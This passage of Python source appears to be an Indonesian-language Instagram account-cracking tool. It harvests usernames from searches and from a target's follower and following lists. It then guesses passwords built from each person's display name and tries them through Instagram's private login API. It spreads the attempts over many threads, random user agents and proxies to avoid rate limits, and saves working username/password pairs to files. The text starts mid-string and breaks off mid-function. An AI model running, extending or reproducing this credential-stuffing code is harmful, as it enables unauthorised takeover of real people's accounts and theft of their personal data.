_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
  402.     SIG_KEY_VERSION = '4'
  403.  
  404.     def __init__(self,username,password):
  405.         self.username=username
  406.         self.password=password
  407.         m = hashlib.md5()
  408.         m.update(username.encode('utf-8') + password.encode('utf-8'))
  409.         self.device_id = self.generateDeviceId(m.hexdigest())
  410.         self.uuid = self.generateUUID(True)
  411.         self.s = requests.Session()
  412.  
  413.     def generateDeviceId(self, seed):
  414.         volatile_seed = "12345"
  415.         m = hashlib.md5()
  416.         m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
  417.         return 'android-' + m.hexdigest()[:16]
  418.  
  419.     def generateUUID(self, type):
  420.         generated_uuid = str(uuid.uuid4())
  421.         if (type):
  422.             return generated_uuid
  423.         else:
  424.             return generated_uuid.replace('-', '')
  425.  
  426.     def loginAPI(self):
  427.         token=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).text
  428.         crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  429.         self.s.headers.update({'Connection': 'close',
  430.             'Accept': '*/*',
  431.             'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  432.             'Cookie2': '$Version=1',
  433.             'Accept-Language': 'en-US',
  434.             'User-Agent': user_agentAPI()})
  435.         self.data = json.dumps({
  436.             'phone_id': self.generateUUID(True),
  437.             '_csrftoken': crf_token,
  438.             'username': self.username,
  439.             'guid': self.uuid,
  440.             'device_id': self.device_id,
  441.             'password': self.password,
  442.             'login_attempt_count': '0'})
  443.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  444.             self.generateUUID(False),
  445.             urllib.request.quote(self.data)
  446.         )
  447.         x=self.s.post("https://i.instagram.com/api/v1/accounts/login/", self.payload)
  448.         x_jason=json.loads(x.text)
  449.         x_kukis=x.cookies.get_dict()
  450.         if "logged_in_user" in x.text:
  451.             kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
  452.             #id=x_jason['logged_in_user']['pk']
  453.             #nm=x_jason['logged_in_user']['full_name']
  454.             #pn=x_jason['logged_in_user']['phone_number']
  455.             return {'status':'success','cookie':kuki,'userame':self.username}
  456.         elif 'challenge_required' in x.text:
  457.             return {'status':'checkpoint'}
  458.         else:
  459.             return {'status':'login_error'}
  460. C = ''
  461.  
  462. class instagram:
  463.     def __init__(self,external,username,cookie):
  464.         self.ext=external
  465.         self.username=username
  466.         self.cookie=cookie
  467.         self.s=requests.Session()
  468.         self.tol = Console()
  469.     def logo(self):
  470.         for i in external:
  471.             try:
  472.                 nama=i.split('|')[0]
  473.                 followers=i.split('|')[1]
  474.                 following=i.split('|')[2]
  475.             except:
  476.                 pass
  477.             banner()
  478.             self.mentod()
  479.             insta = prints
  480.             crack = Panel
  481.             insta(crack(f"""{warna_ungu}{alamat_region}""",title=f'{warna_biru}• {warna_merah}• {warna_ungu}{alamat_ip}{warna_merah} •{warna_biru} •'))
  482.             insta(crack(f"""{warna_putih}[{warna_hijau}01{warna_putih}] crack dari pencarian username {warna_hijau}    ON
  483. {warna_putih}[{warna_hijau}02{warna_putih}] crack dari pengikut{warna_hijau}               ON
  484. {warna_putih}[{warna_hijau}03{warna_putih}] crack dari mengikuti {warna_hijau}             ON {warna_putih}
  485. [{warna_hijau}04{warna_putih}] crack dari jumblah view postingan {warna_hijau}ON
  486. {warna_putih}[{warna_hijau}05{warna_putih}] crack dari jumblah like postingan {warna_hijau}ON
  487. {warna_putih}[{warna_hijau}06{warna_putih}] masuk ke menu facebook {warna_hijau}           ON
  488. {warna_putih}[{warna_hijau}07{warna_putih}] crack ulang hasil {warna_kuning}cp{warna_merah}              OF
  489. {warna_putih}[{warna_hijau}08{warna_putih}] cek hasil crack{warna_hijau}                   ON
  490. {warna_putih}[{warna_hijau}00{warna_putih}] keluar"""))
  491.  
  492.     def mentod(self):
  493.             for i in external:
  494.                 nama=i.split('|')[0]
  495.                 followers=i.split('|')[1]
  496.                 following=i.split('|')[2]
  497.             try:
  498.                    ses=requests.Session()
  499.                    lisen=open('data/lisensi.txt','r').read()
  500.                    met = ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIzMjA4OTAxMyIsInRqSVB5U1dJQkFVdU1yMmFGVGk5eW5ZbnpuOWlmS3FHVjVMdG1Yb1EiXQ==&ProductId=17890&Key='+lisen).json()
  501.                    men = met['licenseKey']
  502.                    key = men['key'][0:11]
  503.                    tahun = men['expires'][0:4]
  504.                    buln = men['expires'][5:7]
  505.                    tanggal = men['expires'][8:10]
  506.                    bulan=bulan_ttl[buln]
  507.                    tahun1 = men['created'][0:4]
  508.                    buln1 = men['created'][5:7]
  509.                    tanggal1 = men['created'][8:10]
  510.                    bulan1=bulan_ttl[buln1]
  511.             except:
  512.                    key = "-"
  513.                    tanggal = "-"
  514.                    bulan = "-"
  515.                    tahun = "-"
  516.                    tanggal1 = "-"
  517.                    bulan1 = "-"
  518.                    tahun1 = "-"
  519.  
  520.     def HapusLisen(self):
  521.         try:
  522.             xc = input(f"{P}[{B}?{P}] apakah anda yakin ingin menghapus lisensi? : {H}")
  523.             if xc in ["y","Y"]:
  524.                os.remove("data/lisensi.txt")
  525.                jalan(f"{P}[{H}✓{P}] berhasil menghapus lisensi")
  526.                exit()
  527.             elif xc in ["t","T"]:
  528.                 jalan(f"{P}[{B}+{P}] kembali ke menu utama")
  529.                 time.sleep(2)
  530.                 self.menu()
  531.             else:
  532.                 self.Exit()
  533.         except:pass
  534.    
  535.     def Exit(self):
  536.         try:
  537.             xd = input(f'{P}[{M}?{P}] mau exit bersama cookie anda? ({M}y{P}/{H}t{P}) : ')
  538.             if xd in ["y","Y"]:
  539.                RemoveCookie()
  540.                print('BERHASIL')
  541.                exit()
  542.             elif xd in ["t","T"]:
  543.                 time.sleep(2)
  544.                 self.menu()
  545.             else:
  546.                  self.Exit()
  547.         except:pass
  548.  
  549.     def sixAPI(self,six_id):
  550.         url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  551.         x = requests.get(url)
  552.         x_jason = x.json()
  553.         uid = str( x_jason['users'][0].get("user").get("pk") )
  554.         return uid
  555.  
  556.     def unfollowAPI(self,user_id,username_id,cookie):
  557.         uuid=generateUUID(True)
  558.         xx=self.s.get("https://www.instagram.com/",headers={"user-agent":USN}).content
  559.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  560.         s.headers.update({'Connection': 'close',
  561.                        'Accept': '*/*',
  562.                        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  563.                        'Cookie2': '$Version=1',
  564.                        'Accept-Language': 'en-US',
  565.                        'User-Agent': USN})
  566.  
  567.         data = json.dumps({'_uuid': uuid,
  568.                            '_uid': username_id,
  569.                            'user_id': user_id,
  570.                            '_csrftoken': crf_token})
  571.  
  572.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  573.             self.generateUUID(False),
  574.             urllib.request.quote(data))
  575.         return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  576.  
  577.  
  578.     def searchAPI(self,cookie,nama):
  579.         try:
  580.             for ba in range(100):
  581.                 x=s.get('https://www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  582.                 x_jason=json.loads(x.text)
  583.                 try:
  584.                     for i in x_jason['users']:
  585.                         user=i['user']
  586.                         username=user['username']
  587.                         fullname=user['full_name']
  588.                         internal.append(f'{username}|{fullname}')
  589.                     prints(Panel(f"""{warna_putih} SEDANG MENGUMPULKAN USERNAME"""))
  590.                     loading()
  591.                     time.sleep(0.0002)
  592.                 except:
  593.                     if 'challenge' in x.text:
  594.                         break
  595.                     else:
  596.                         continue
  597.             print("\r")
  598.         except Exception as e:print(e)
  599.         return internal
  600.    
  601.     def ua_ig(self):
  602.         rr = random.randint
  603.         return (f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}.{str(rr(7,12))}; MBOX Build/PPR1.181005.003; wv {str(rr(7,12))}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(80,105))}.0.{str(rr(1111,4444))}.{str(rr(111,400))} Safari/537.36")
  604.    
  605.     def idAPI(self,cookie,id):
  606.         if 'sukses' in lisensiku:
  607.             try:
  608.                 m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  609.                 m_jason=m.json()["data"]["user"]
  610.                 idx=m_jason["id"]
  611.             except requests.exceptions.ConnectionError:
  612.                 print(f'{P}[{M}!{P}] koneksi internet anda bermasalah');exit()
  613.             except requests.exceptions.ConnectionError:
  614.                 print(f'{P}[{M}!{P}] koneksi internet anda bermasalah')
  615.                 time.sleep(0.3)
  616.                 exit()
  617.             except Exception as e:
  618.                 print(f'{P}[{M}!{P}] username tidak tersedia')
  619.                 exit()
  620.             return idx
  621.         else:lisensi()
  622.        
  623.     def infoAPI(self,cookie,api,id):
  624.         if 'sukses' in  lisensiku:
  625.             try:
  626.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  627.                 x_jason=json.loads(x.text)
  628.                 for i in x_jason['users']:
  629.                     username = i["username"]
  630.                     nama = i["full_name"]
  631.                     internal.append(f'{username}|{nama}')
  632.                     following.append(username)
  633.                 if 'pengikut' in menudump:
  634.                     maxid=x_jason['next_max_id']
  635.                     for z in range (9999):
  636.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=200&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  637.                         x_jason=json.loads(x.text)
  638.                         try:
  639.                             for i in x_jason['users']:
  640.                                 username = i["username"]
  641.                                 nama = i["full_name"]
  642.                                 internal.append(f'{username}|{nama}')
  643.                                 following.append(username)
  644.                             #prints(Panel(f"""{warna_putih}SEDANG MENGUMPULKAN USERNAME"""))
  645.                     #       loading()
  646.                             time.sleep(0.0002)
  647.                             try:
  648.                                 maxid=x_jason['next_max_id']
  649.                             except:
  650.                                 break
  651.                         except:
  652.                             if 'challenge' in x.text:
  653.                                 break
  654.                             else:
  655.                                 continue
  656.                 print("\r")
  657.             except Exception as e:
  658.                 print(f'USERNAME TIDAK ADA')
  659.             return internal
  660.         else:lisensi()
  661.        
  662.     def ifoAPI(self,cookie,api,id):
  663.         if 'sukses' in  lisensiku:
  664.             try:
  665.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  666.                 x_jason=json.loads(x.text)
  667.                 for i in x_jason['users']:
  668.                     username = i["username"]
  669.                     nama = i["full_name"]
  670.                     internal.append(f'{username}|{nama}')
  671.                     following.append(username)
  672.                 if 'mengikuti' in menudump:
  673.                     maxid=x_jason['next_max_id']
  674.                     for z in range (9999):
  675.                         x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/following/?count=200&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  676.                         x_jason=json.loads(x.text)
  677.                         try:
  678.                             for i in x_jason['users']:
  679.                                 username = i["username"]
  680.                                 nama = i["full_name"]
  681.                                 internal.append(f'{username}|{nama}')
  682.                                 following.append(username)
  683.                             #prints(Panel(f"""{warna_putih}SEDANG MENGUMPULKAN USERNAME"""))
  684.                         #   loading()
  685.                             time.sleep(0.0002)
  686.                             try:
  687.                                 maxid=x_jason['next_max_id']
  688.                             except:
  689.                                 break
  690.                         except:
  691.                             if 'challenge' in x.text:
  692.                                 break
  693.                             else:
  694.                                 continue
  695.                 print("\r")
  696.             except Exception as e:
  697.                 print(f'{P}username tidak tersedia')
  698.             return internal
  699.         else:lisensi()
  700.  
  701.     def ingfoocu(self, cookie):
  702.         with requests.Session() as ses:
  703.              try:
  704.                  link = ses.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":cookie}).json()["form_data"]
  705.                  nomor = link["phone_number"].replace("-", "").replace(" ", "")
  706.                  tggl = link["birthday"]
  707.                  year, month, day = tggl.split("-")
  708.                  month = bulan_ttl[month]
  709.                  tanggal = (f"{day} {month} {year}")
  710.              except:
  711.                  nomor = "-"
  712.                  tanggal = "-"
  713.              return nomor, tanggal
  714.    
  715.     def AdityaCreate(self, cookie):
  716.         with requests.Session() as ses:
  717.              try:
  718.                  b = ses.get("https://www.instagram.com/accounts/access_tool/", cookies={"cookie":cookie})
  719.                  soup = parser(b.text,'html.parser')
  720.                  body = soup.find("body")
  721.                  script = body.find("script", text=lambda t: t.startswith("window._sharedData"))
  722.                  script_json = script.string.split(" = ", 1)[1].rstrip(";")
  723.                  script_json = json.loads(script_json)
  724.                  i = script_json["entry_data"]['SettingsPages']
  725.                  regax = re.findall('\d+',str(i))
  726.                  tahun = datetime.fromtimestamp(int(regax[0])).strftime('%d %B %Y')
  727.              except:
  728.                  tahun = "-"
  729.              return tahun
  730.    
  731.     def ingfo(self):
  732.         prints(Panel(f"""{warna_putih}SETIAP 200/300 USERNAME AKTIFKAN MODE PESAWAT DAN MATIKAN KEMBALI SCRIPT AKAN MEMBELI ARAHAN JIKA ADA NADA IP SPAM SILAKAN MODE PESAWAT""",title=f'{warna_biru}• {warna_merah}•{warna_ungu} PERINGATAN{warna_merah} •{warna_biru} •'))
  733.  
  734.     def methodku(self):
  735.         insta = prints
  736.         crack = Panel
  737.         insta(crack(f"""{warna_putih}[{warna_hijau}01{warna_putih}] AJAX
  738. {warna_putih}[{warna_hijau}02{warna_putih}] API
  739. {warna_putih}[{warna_hijau}03{warna_putih}] AJAX V2""",title=f'{warna_biru}•{warna_merah} •{warna_ungu} METODE MENU{warna_merah} •{warna_biru} •'))
  740.     def passwordAPI(self,xnx):
  741.         prints(Panel(f"{warna_putih}total username  : {len(internal)}"))
  742.         self.methodku()
  743.         u = input(f'{P}[{H}+{P}] pilih metode : ')
  744.         if u in [""]:
  745.             method.append('satu')
  746.         elif u in ["1","01"]:
  747.             method.append('satu')
  748.         elif u in ["2","02"]:
  749.             method.append('tiga')
  750.         elif u in ["3","03"]:
  751.             method.append('dua')
  752.         else:
  753.             method.append('satu')
  754.         prints(Panel(f"""{warna_putih}[{warna_hijau}01{warna_putih}] sandi,sandi123,sandi1245
  755. {warna_putih}[{warna_hijau}02{warna_putih}] sandi,sandi123,sandi1234,sandi12345
  756. {warna_putih}[{warna_hijau}03{warna_putih}] sandi,sandi123,sandi1234,sandi12345,sandi123456
  757. {warna_putih}[{warna_hijau}04{warna_putih}] fullsandi + manual""",title=f'{warna_biru}• {warna_merah}• {warna_ungu}PASSWORD {warna_merah}• {warna_biru}'))
  758.         c=input(f'{P}[{H}+{P}] sandi : ')
  759.         if c in ["1","01"]:
  760.             self.generateAPI(xnx,c)
  761.         elif c in ["2","02"]:
  762.             self.generateAPI(xnx,c)
  763.         elif c in ["3","03"]:
  764.             self.generateAPI(xnx,c)
  765.         elif c in ["4","04"]:
  766.             zx=input(f'{P}[{H}?{P}] masukan password : {H}')
  767.             self.generateAPI(xnx,c,zx)
  768.         else:
  769.             self.passwordAPI(xnx)
  770.  
  771.     def generateAPI(self,user,o,zx=''):
  772.         self.ingfo()
  773.         with ThreadPoolExecutor(max_workers=15) as adtyaxc:
  774.             for i in user:
  775.                 try:
  776.                     username=i.split("|")[0]
  777.                     password=i.split("|")[1].lower()
  778.                     for w in password.split(" "):
  779.                         if len(w)<3:
  780.                             continue
  781.                         else:
  782.                             w=w.lower()
  783.                             if o=="1":
  784.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  785.                                     sandi=[w,w+'123',w+'1234']
  786.                                 else:
  787.                                     sandi=[w,w+'123',w+'1234']
  788.                             elif o=="2":
  789.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  790.                                     sandi=[w,w+'123',w+'1234',password.lower()]
  791.                                 else:
  792.                                     sandi=[w+'123',w,w+'1234',password.lower()]
  793.                             elif o=="3":
  794.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  795.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  796.                                 else:
  797.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  798.                             elif o=="4":
  799.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  800.                                     sandi = zx.replace(" ", "").split(",")
  801.                                 else:
  802.                                     sandi = zx.replace(" ", "").split(",")
  803.                             if 'satu' in method:
  804.                                 adtyaxc.submit(self.crackAPI,username,sandi)           
  805.                             elif 'dua' in method:
  806.                                 adtyaxc.submit(self.crackAJAX,username,sandi)
  807.                             elif 'tiga' in method:
  808.                                 adtyaxc.submit(self.crackAPIversi2,username,sandi)
  809.                             else:
  810.                                 adtyaxc.submit(self.crackAPI,username,sandi)
  811.                 except:
  812.                     pass
  813.         print('\n')
  814.         exit()
  815.  
  816.     def APIinfo(self,user):
  817.         try:
  818.             x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  819.             x_jason=x.json()["data"]["user"]
  820.             nama=x_jason["full_name"]
  821.             pengikut=x_jason["edge_followed_by"]["count"]
  822.             mengikut=x_jason["edge_follow"]["count"]
  823.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  824.         except:
  825.             nama = "-"
  826.             pengikut = "-"
  827.             mengikut = "-"
  828.             postingan = "-"
  829.         return nama,pengikut,mengikut,postingan
  830.    
  831.     def crackAPI(self,user,pas):
  832.         global loop,success,checkpoint
  833.         ses = requests.Session()
  834.         logtemp=0
  835.         guid = str(uuid.uuid4())
  836.         ponid = str(uuid.uuid4())
  837.         andro = "android-%s" % hashlib.md5(str(time.time()).encode()).hexdigest()[:16]
  838.         ig_sig = HARIS["ig_sig"]
  839.         verig = HARIS["IGV"]
  840.         igver = verig.split(",")
  841.         igv = random.choice(igver)
  842.         gedz = HARIS1["AOREC"][random.randrange(0,277)]["aorec"]
  843.         ven1 = gedz.split('|')[1]
  844.         ven2 = gedz.split('|')[2]
  845.         giu1 = HARIS["giu"]
  846.         giu = giu1.split("||")
  847.         ua = f'{giu[0]} {igv} {giu[1]} {ven1}; {ven2}; {giu[2]}'
  848.         dat = HARIS["sinkz"]
  849.         dat.update({"id": guid})
  850.         data1 = json.dumps(dat)
  851.         ned = hmac.new(ig_sig.encode('utf-8'), str(data1).encode('utf=8'),hashlib.sha256).hexdigest()
  852.         data2 = HARIS["sinkz1"]
  853.         data2.update({'signed_body': f'{ned}.{str(data1)}'})
  854.         head = HARIS["headaing"]
  855.         head.update({"user-agent": ua})
  856.         while True:
  857.                 try:
  858.                     p = ses.post(HARIS["sinkz2"],headers=head,data=data2)
  859.                     break
  860.                 except:pass
  861.         sys.stdout.write(f'\r{P}[{H}✓{P}] {H}http://run.com{P} {loop}/{len(internal)}{P} OK:{H}{len(success)} {N}CP:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  862.         for pw in pas:
  863.                 try:
  864.                     data = json.dumps({"phone_id":ponid,"_csrftoken": ses.cookies["csrftoken"],"username":user,"guid":guid,"device_id":andro,"password": pw,"login_attempt_count": str(logtemp)})
  865.                     ned = hmac.new(ig_sig.encode('utf-8'), str(data).encode('utf=8'),hashlib.sha256).hexdigest()
  866.                     head2 = HARIS["headaing1"]
  867.                     head2.update({"user-agent": ua})
  868.                     pasw = pw.replace(' ','+')
  869.                     sianjing = HARIS["sianjing"]
  870.                     setan = sianjing.split("||")
  871.                     dataa = f'{setan[0]}{ned}{setan[1]}{ponid}{setan[2]}{ses.cookies["csrftoken"]}{setan[3]}{user}{setan[4]}{guid}{setan[5]}{andro}{setan[6]}{pw}{setan[7]}{logtemp}{setan[8]}'
  872.                     respon = ses.post(HARIS["crack"],headers=head2,data=dataa)
  873.                     try:
  874.                         xyaaXD = json.loads(respon.text)
  875.                     except:
  876.                         xyaaXD = (respon.text)
  877.                     logtemp+=1
  878.                     if "logged_in_user" in str(xyaaXD) or "sessionid" in ses.cookies.get_dict():
  879.                         success.append(user)
  880.                         try:
  881.                             nama,pengikut,mengikut,postingan=self.APIinfo(user)
  882.                             print("\r                                       ")
  883.                             adit=f'\rNAME      : {nama}\nUSERNAME  : {user}\nPASSWORD  : {pw}\nPENGIKUT  : {pengikut}\nMENGIKUTI : {mengikut}\nPOSTINGAN : {postingan}\nUSER-AGENT: {user_agentAPI()}'
  884.                             pepekXD = nel(adit, style='green')
  885.                             print('\n')
  886.                             cetak(nel(pepekXD,style='',title='\r[green]Login Metode Ajax[white]'))
  887.                             open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  888.                             open('.logCrack','a').write(f'{H}╭({H}{loop}{H}) {H}{user} {H}|| {H}{pw}\n{H}╰{H}{respon.text}\n')
  889.                             break
  890.                         except:
  891.                             print("\r                                       ")
  892.                             adit=f'\rNAME      : null\nUSERNAME  : null\nPASSWORD  : null\nPENGIKUT  : null\nMENGIKUTI : null\nPOSTINGAN : null\nUSER-AGENT: {user_agentAPI()}'
  893.                             pepekXD = nel(adit, style='green')
  894.                             print('\n')
  895.                             cetak(nel(pepekXD,style='',title='\r[green]Login Metode Ajax[white]'))
  896.                             open(f"result/success-{day}.txt","a").write(f'null|null\n')
  897.                             open('.logCrack','a').write(f'{H}╭({H}{loop}{H}) {H}{user} {H}|| {H}{pw}\n{H}╰{H}{respon.text}\n')
  898.                             break
  899.                     elif 'https://i.instagram.com/challenge' in str(respon.text):
  900.                         nama,pengikut,mengikut,postingan=self.APIinfo(user)
  901.                         print("\r                                       ")
  902.                         adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}'
  903.                         pepekXD = nel(adit, style='yellow')
  904.                         print('\n')
  905.                         cetak(nel(pepekXD,style='', title='\r[yellow]Checkpoint Metode Ajax[white]'))
  906.                         open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  907.                         checkpoint.append(user)
  908.                         open('.logCrack','a').write(f'{K}╭({K}{loop}{K}) {K}{user} {K}|| {K}{pw}\n{K}╰{K}{respon.text}\n')
  909.                         break
  910.                     elif 'ip_block' in str(respon.text) or 'spam' in str(respon.text):
  911.     #                   os.popen('play-audio ip.mp3')
  912.                         sys.stdout.write(f'\r{P}[{M}✓{P}] {M}http//ip.com {P}{loop}/{len(internal)}{P} OK:{H}{len(success)} {N}CP:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  913.                         time.sleep(1)
  914.                         open('.logCrack','a').write(f'{M}╭({loop}) {user} || {pw}\n╰{respon.text}\n{N}\n')
  915.                         self.crackAPI(user,pas)
  916.                         loop-=1
  917.                         break
  918.                 except requests.exceptions.ConnectionError:
  919.                     time.sleep(5)
  920.                     self.crackAPI(user,pas)
  921.                     loop-=1
  922.                     break
  923.                 except Exception as e:
  924.                     pass
  925.                     open('.logCrack','a').write(f'{N}╭({loop}) {user} || {pw}\n╰{respon.text}\n{N}\n')
  926.         loop+=1
  927.                    
  928.                
  929.     def crackAPIversi2(self,user,pas):
  930.         global loop,success,checkpoint
  931.         ses = requests.Session()
  932.         ua = random.choice(baru)
  933.         sys.stdout.write(f'\r{P}[{H}√{P}] {H}run.com {P}{loop}/{len(internal)}{P} OK:{H}{len(success)} {N}CP:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  934.         try:
  935.             for pw in pas:
  936.                 xxcteam = random.randint(1000000000, 99999999999)
  937.                 jam = calendar.timegm(current_GMT)
  938.                 proxy = {'http': 'socks5://'+random.choice(prox)}
  939.                 p = ses.get('https://z-p15.www.instagram.com/accounts/login/?force_classic_login&hl=en')
  940.                 head = {
  941.                        "Host": "z-p15.www.instagram.com",
  942.                        "Connection": "keep-alive",
  943.                        "Content-Length": "320",
  944.                        "X-IG-WWW-Claim": "0",
  945.                        "X-Instagram-AJAX": "9080db6b6a51",
  946.                        "Content-Type": "application/x-www-form-urlencoded",
  947.                        "Accept": "*/*",
